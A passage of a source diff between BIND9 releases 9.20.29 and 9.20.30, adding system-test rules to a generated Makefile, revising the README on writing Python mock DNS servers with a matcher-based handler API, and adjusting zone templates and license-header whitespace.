mkeys @p='mkeys'; \ b='mkeys'; \ @@ -1872,6 +2062,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +nsec.log: nsec + @p='nsec'; \ + b='nsec'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) nsec3.log: nsec3 @p='nsec3'; \ b='nsec3'; \ @@ -1879,6 +2076,41 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +nsec3_impersonation.log: nsec3_impersonation + @p='nsec3_impersonation'; \ + b='nsec3_impersonation'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +nsec_grandparent.log: nsec_grandparent + @p='nsec_grandparent'; \ + b='nsec_grandparent'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +nsec_ixfr.log: nsec_ixfr + @p='nsec_ixfr'; \ + b='nsec_ixfr'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +nsec_piggyback.log: nsec_piggyback + @p='nsec_piggyback'; \ + b='nsec_piggyback'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +nsec_synthesis.log: nsec_synthesis + @p='nsec_synthesis'; \ + b='nsec_synthesis'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) nsec_wildcard_wrong_zone.log: nsec_wildcard_wrong_zone @p='nsec_wildcard_wrong_zone'; \ b='nsec_wildcard_wrong_zone'; \ @@ -1893,6 +2125,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +nsprocessinglimit.log: nsprocessinglimit + @p='nsprocessinglimit'; \ + b='nsprocessinglimit'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) nsupdate.log: nsupdate @p='nsupdate'; \ b='nsupdate'; \ @@ -1900,6 +2139,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +nta.log: nta + @p='nta'; \ + b='nta'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) nzd2nzf.log: nzd2nzf @p='nzd2nzf'; \ b='nzd2nzf'; \ @@ -1907,6 +2153,20 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +optout.log: optout + @p='optout'; \ + b='optout'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +outofzone_zonecut.log: outofzone_zonecut + @p='outofzone_zonecut'; \ + b='outofzone_zonecut'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) padding.log: padding @p='padding'; \ b='padding'; \ @@ -1921,16 +2181,16 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) -proxy.log: proxy - @p='proxy'; \ - b='proxy'; \ +pipelined.log: pipelined + @p='pipelined'; \ + b='pipelined'; \ $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) -pipelined.log: pipelined - @p='pipelined'; \ - b='pipelined'; \ +proxy.log: proxy + @p='proxy'; \ + b='proxy'; \ $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ @@ -1942,6 +2202,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +qpcache_rrsig_any.log: qpcache_rrsig_any + @p='qpcache_rrsig_any'; \ + b='qpcache_rrsig_any'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) query_source.log: query_source @p='query_source'; \ b='query_source'; \ @@ -1949,6 +2216,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +randomizens.log: randomizens + @p='randomizens'; \ + b='randomizens'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) reclimit.log: reclimit @p='reclimit'; \ b='reclimit'; \ @@ -1963,6 +2237,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +resend_loop.log: resend_loop + @p='resend_loop'; \ + b='resend_loop'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) resolver.log: resolver @p='resolver'; \ b='resolver'; \ @@ -1970,6 +2251,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +rfc5011.log: rfc5011 + @p='rfc5011'; \ + b='rfc5011'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) rndc.log: rndc @p='rndc'; \ b='rndc'; \ @@ -1977,6 +2265,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +rndc_confgen.log: rndc_confgen + @p='rndc_confgen'; \ + b='rndc_confgen'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) rollover.log: rollover @p='rollover'; \ b='rollover'; \ @@ -2033,6 +2328,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +selfpointedglue.log: selfpointedglue + @p='selfpointedglue'; \ + b='selfpointedglue'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) sfcache.log: sfcache @p='sfcache'; \ b='sfcache'; \ @@ -2040,6 +2342,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +sfcache_cname.log: sfcache_cname + @p='sfcache_cname'; \ + b='sfcache_cname'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) shutdown.log: shutdown @p='shutdown'; \ b='shutdown'; \ @@ -2047,6 +2356,20 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +sig0.log: sig0 + @p='sig0'; \ + b='sig0'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +sig0_https.log: sig0_https + @p='sig0_https'; \ + b='sig0_https'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) smartsign.log: smartsign @p='smartsign'; \ b='smartsign'; \ @@ -2068,6 +2391,27 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +srtt.log: srtt + @p='srtt'; \ + b='srtt'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +ssumaxtype.log: ssumaxtype + @p='ssumaxtype'; \ + b='ssumaxtype'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +ssutoctou.log: ssutoctou + @p='ssutoctou'; \ + b='ssutoctou'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) staticstub.log: staticstub @p='staticstub'; \ b='staticstub'; \ @@ -2103,6 +2447,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +svcb_alias.log: svcb_alias + @p='svcb_alias'; \ + b='svcb_alias'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) synthfromdnssec.log: synthfromdnssec @p='synthfromdnssec'; \ b='synthfromdnssec'; \ @@ -2117,6 +2468,20 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +tkey.log: tkey + @p='tkey'; \ + b='tkey'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) +tkeyleak.log: tkeyleak + @p='tkeyleak'; \ + b='tkeyleak'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) tools.log: tools @p='tools'; \ b='tools'; \ @@ -2131,6 +2496,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +transport_change.log: transport_change + @p='transport_change'; \ + b='transport_change'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) tsig.log: tsig @p='tsig'; \ b='tsig'; \ @@ -2187,6 +2559,13 @@ --log-file $$b.log --trs-file $$b.trs \ $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ "$$tst" $(AM_TESTS_FD_REDIRECT) +xfer_servers_list.log: xfer_servers_list + @p='xfer_servers_list'; \ + b='xfer_servers_list'; \ + $(am__check_pre) $(LOG_DRIVER) --test-name "$$f" \ + --log-file $$b.log --trs-file $$b.trs \ + $(am__common_driver_flags) $(AM_LOG_DRIVER_FLAGS) $(LOG_DRIVER_FLAGS) -- $(LOG_COMPILE) \ + "$$tst" $(AM_TESTS_FD_REDIRECT) xferquota.log: xferquota @p='xferquota'; \ b='xferquota'; \ @@ -2322,8 +2701,6 @@ distclean-generic: -$(am__rm_f) $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || $(am__rm_f) $(CONFIG_CLEAN_VPATH_FILES) - -$(am__rm_f) pipelined/$(DEPDIR)/$(am__dirstamp) - -$(am__rm_f) pipelined/$(am__dirstamp) -$(am__rm_f) rndc/$(DEPDIR)/$(am__dirstamp) -$(am__rm_f) rndc/$(am__dirstamp) -$(am__rm_f) rpz/$(DEPDIR)/$(am__dirstamp) @@ -2341,7 +2718,6 @@ distclean: distclean-recursive -rm -f ./$(DEPDIR)/feature_test-feature-test.Po -rm -f ./$(DEPDIR)/makejournal-makejournal.Po - -rm -f pipelined/$(DEPDIR)/pipequeries-pipequeries.Po -rm -f rndc/$(DEPDIR)/gencheck.Po -rm -f rpz/$(DEPDIR)/dnsrps-dnsrps.Po -rm -f Makefile @@ -2395,7 +2771,6 @@ maintainer-clean: maintainer-clean-recursive -rm -f ./$(DEPDIR)/feature_test-feature-test.Po -rm -f ./$(DEPDIR)/makejournal-makejournal.Po - -rm -f pipelined/$(DEPDIR)/pipequeries-pipequeries.Po -rm -f rndc/$(DEPDIR)/gencheck.Po -rm -f rpz/$(DEPDIR)/dnsrps-dnsrps.Po -rm -f Makefile diff -Nru bind9-9.20.29/bin/tests/system/README.md bind9-9.20.30/bin/tests/system/README.md --- bind9-9.20.29/bin/tests/system/README.md 2026-09-11 19:41:01.070320640 +0000 +++ bind9-9.20.30/bin/tests/system/README.md 2026-10-12 13:12:07.938889883 +0000 @@ -217,9 +217,7 @@ - `ans`: Like ns, but these are mock name servers implemented in python (`ans.py`), usually with the `isctest.asyncserver` module. They are generally programmed to misbehave in ways named would not, so as to exercise - named's ability to interoperate with badly behaved name servers. A few - legacy mock servers are still implemented in perl (`ans.pl`); don't write - new ones. + named's ability to interoperate with badly behaved name servers. The following files appear in test directories that have not yet been fully ported to python; do not add them to new tests: @@ -432,7 +430,10 @@ Implementing a custom `ansN` server happens in two phases: - define all static DNS data that the server needs to serve (if any) in `*.db` - files, like you would for a regular `named` instance, + files placed in the `zones/` subdirectory, like you would for a regular + `named` instance; signed zones are also supported: if `zones/.db` + and `zones/.db.signed` files both exist for the same ``, + only the latter is loaded, - implement any non-standard behavior (modifying zone-based responses or generating responses from scratch) by defining a response handler class, @@ -444,17 +445,11 @@ easier to follow for static DNS data. Splitting up static DNS data and custom behavior also makes it easier to follow the idea behind each test. -The most commonly subclassed handler classes are (ordered by descending -specificity): - - - `QnameQtypeHandler` - - `QnameHandler` - - `DomainHandler` - -These handler classes require certain properties (e.g. `qnames`, `qtypes`, -`domains`) to be defined by their subclasses. These properties define the set -of queries that a given handler should be used for. Please see -`isctest/asyncserver.py` for up-to-date information on available handler classes +A handler declares the queries it handles in its `matcher`, built from the +matchers in `isctest/asyncserver/matchers.py` (`Qname`, `Qtype`, `Domain`, +...) combined with `&`, `|` and `~`; the first installed handler whose +matcher matches a query handles it. Please see +`isctest/asyncserver/handlers.py` for up-to-date information on available handler classes and existing `ans.py` files for how they can be used in practice. Consult the log files (`ans.run`) in case a query is not matched by its intended handler. @@ -475,23 +470,19 @@ import dns.flags -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain -class TruncateHandler(DomainHandler): +class TruncateHandler(ResponseHandler): """Answer everything under broken.example. with TC=1.""" - domains = ["broken.example."] + matcher = Domain("broken.example.") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: qctx.response.flags |= dns.flags.TC yield DnsResponseSend(qctx.response) @@ -510,7 +501,7 @@ `delay`), `ResponseDrop` (don't answer at all), `BytesResponseSend` (raw bytes, for malformed packets) and `CloseConnection` (TCP). Queries that no handler matches are answered from zone data — `AsyncDnsServer` loads every -`*.db` zone file found in the `ansN` directory at startup — or with the +`*.db` zone file found in the `ansN/zones/` directory at startup — or with the server's default rcode (REFUSED unless configured otherwise). **NOTE:** For returning static responses, subclassing `StaticResponseHandler` is @@ -530,7 +521,7 @@ directory. See the `qmin` system test for a practical example. If multiple system tests would benefit from sharing some common logic, consider -submitting a merge request adding that logic to `isctest/asyncserver.py` itself. +submitting a merge request adding that logic to the `isctest/asyncserver/` package itself. To the extent possible, try to keep each `ans.py` file limited in length and scope. Look at existing `ans.py` files to see what is meant by that. If the @@ -591,11 +582,11 @@ The existing mock servers are the best reference. To find them, grep for what you're about to use: `git grep -l isctest.asyncserver -- '*/ans*/ans.py'` lists every python -mock, and a grep for the base class -(`DomainHandler`, `QnameHandler`, `ConnectionHandler`) or the response +mock, and a grep for the matcher (`Domain`, `Qname`, ...), the base class +(`StaticResponseHandler`, `ConnectionHandler`) or the response action (`ResponseDrop`, `BytesResponseSend`, ...) you need usually turns up a test already doing something similar. The full toolbox lives in -`isctest/asyncserver.py` (query matching, TCP connection handling, TSIG +`isctest/asyncserver/` (query matching, TCP connection handling, TSIG keyrings). diff -Nru bind9-9.20.29/bin/tests/system/_common/zones/ns.partial.db.j2 bind9-9.20.30/bin/tests/system/_common/zones/ns.partial.db.j2 --- bind9-9.20.29/bin/tests/system/_common/zones/ns.partial.db.j2 2026-09-11 19:41:01.071320665 +0000 +++ bind9-9.20.30/bin/tests/system/_common/zones/ns.partial.db.j2 2026-10-12 13:12:07.939889905 +0000 @@ -1,4 +1,4 @@ -{% if ns.name != "." %} +{% if zone.ns %} @zone.name@. NS @zone.ns.name@.@zone.name@. @zone.ns.name@.@zone.name@. A @zone.ns.ip@ {% else %} diff -Nru bind9-9.20.29/bin/tests/system/_common/zones/soa.partial.db.j2 bind9-9.20.30/bin/tests/system/_common/zones/soa.partial.db.j2 --- bind9-9.20.29/bin/tests/system/_common/zones/soa.partial.db.j2 2026-09-11 19:41:01.071320665 +0000 +++ bind9-9.20.30/bin/tests/system/_common/zones/soa.partial.db.j2 2026-10-12 13:12:07.940889926 +0000 @@ -1,11 +1,11 @@ -{% if not ns.name.startswith("ans") %} +{% if not (ns and ns.name.startswith("ans")) %} $ORIGIN @zone.name@. {% endif %} $TTL 300 -{% if zone.ns.name == "." %} -{% raw %}@{% endraw %} IN SOA @zone.name@. . ( -{% else %} +{% if zone.ns %} {% raw %}@{% endraw %} IN SOA @zone.ns.name@.@zone.name@. . ( +{% else %} +{% raw %}@{% endraw %} IN SOA @zone.name@. . ( {% endif %} 1 ; serial 20 ; refresh (20 seconds) diff -Nru bind9-9.20.29/bin/tests/system/_common/zones.conf.j2 bind9-9.20.30/bin/tests/system/_common/zones.conf.j2 --- bind9-9.20.29/bin/tests/system/_common/zones.conf.j2 2026-09-11 19:41:01.071320665 +0000 +++ bind9-9.20.30/bin/tests/system/_common/zones.conf.j2 2026-10-12 13:12:07.939889905 +0000 @@ -1,6 +1,6 @@ {% if zones is defined and zones %} {% for zone in zones.values() %} -{% if zone.ns.name == ns.name %} +{% if zone.ns and zone.ns.name == ns.name %} zone "@zone.name@" { type @zone.type@; {% if zone.type == "static-stub" %} diff -Nru bind9-9.20.29/bin/tests/system/acl/tests_sh_acl.py bind9-9.20.30/bin/tests/system/acl/tests_sh_acl.py --- bind9-9.20.29/bin/tests/system/acl/tests_sh_acl.py 2026-09-11 19:41:01.073320713 +0000 +++ bind9-9.20.30/bin/tests/system/acl/tests_sh_acl.py 2026-10-12 13:12:07.941889948 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/additional/tests_https_alias.py bind9-9.20.30/bin/tests/system/additional/tests_https_alias.py --- bind9-9.20.29/bin/tests/system/additional/tests_https_alias.py 2026-09-11 19:41:01.075320761 +0000 +++ bind9-9.20.30/bin/tests/system/additional/tests_https_alias.py 2026-10-12 13:12:07.943889990 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/additional/tests_sh_additional.py bind9-9.20.30/bin/tests/system/additional/tests_sh_additional.py --- bind9-9.20.29/bin/tests/system/additional/tests_sh_additional.py 2026-09-11 19:41:01.075320761 +0000 +++ bind9-9.20.30/bin/tests/system/additional/tests_sh_additional.py 2026-10-12 13:12:07.943889990 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/addzone/tests_rndc_deadlock.py bind9-9.20.30/bin/tests/system/addzone/tests_rndc_deadlock.py --- bind9-9.20.29/bin/tests/system/addzone/tests_rndc_deadlock.py 2026-09-11 19:41:01.077320809 +0000 +++ bind9-9.20.30/bin/tests/system/addzone/tests_rndc_deadlock.py 2026-10-12 13:12:07.945890033 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/addzone/tests_rndc_modzone_without_add.py bind9-9.20.30/bin/tests/system/addzone/tests_rndc_modzone_without_add.py --- bind9-9.20.29/bin/tests/system/addzone/tests_rndc_modzone_without_add.py 2026-09-11 19:41:01.077320809 +0000 +++ bind9-9.20.30/bin/tests/system/addzone/tests_rndc_modzone_without_add.py 2026-10-12 13:12:07.945890033 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/addzone/tests_sh_addzone.py bind9-9.20.30/bin/tests/system/addzone/tests_sh_addzone.py --- bind9-9.20.29/bin/tests/system/addzone/tests_sh_addzone.py 2026-09-11 19:41:01.077320809 +0000 +++ bind9-9.20.30/bin/tests/system/addzone/tests_sh_addzone.py 2026-10-12 13:12:07.945890033 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/allow_query/tests_sh_allow_query.py bind9-9.20.30/bin/tests/system/allow_query/tests_sh_allow_query.py --- bind9-9.20.29/bin/tests/system/allow_query/tests_sh_allow_query.py 2026-09-11 19:41:01.081320906 +0000 +++ bind9-9.20.30/bin/tests/system/allow_query/tests_sh_allow_query.py 2026-10-12 13:12:07.949890119 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/allow_query_on/ns1/allowed.nil.db 